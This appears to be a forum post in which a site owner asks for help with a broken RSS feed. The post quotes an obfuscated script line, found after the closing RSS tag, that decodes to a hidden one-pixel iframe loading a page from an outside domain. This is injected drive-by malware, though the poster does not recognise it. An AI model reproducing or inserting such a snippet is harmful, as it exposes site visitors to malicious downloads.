feed problem with <script language=”javascript”

I am having problems with my feed. When I check with feedburner it says this is the problem:

?line 497, column 0: XML parsing error: <unknown>:498:0: junk after document element

Line 497 is only </RSS> which looks okay to me.
But line 498 I think is the junk they are talking about:

<script language=”javascript”>eval(unescape(“%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B”))</script>

Where do I go to delete this? And should I delete it or change it?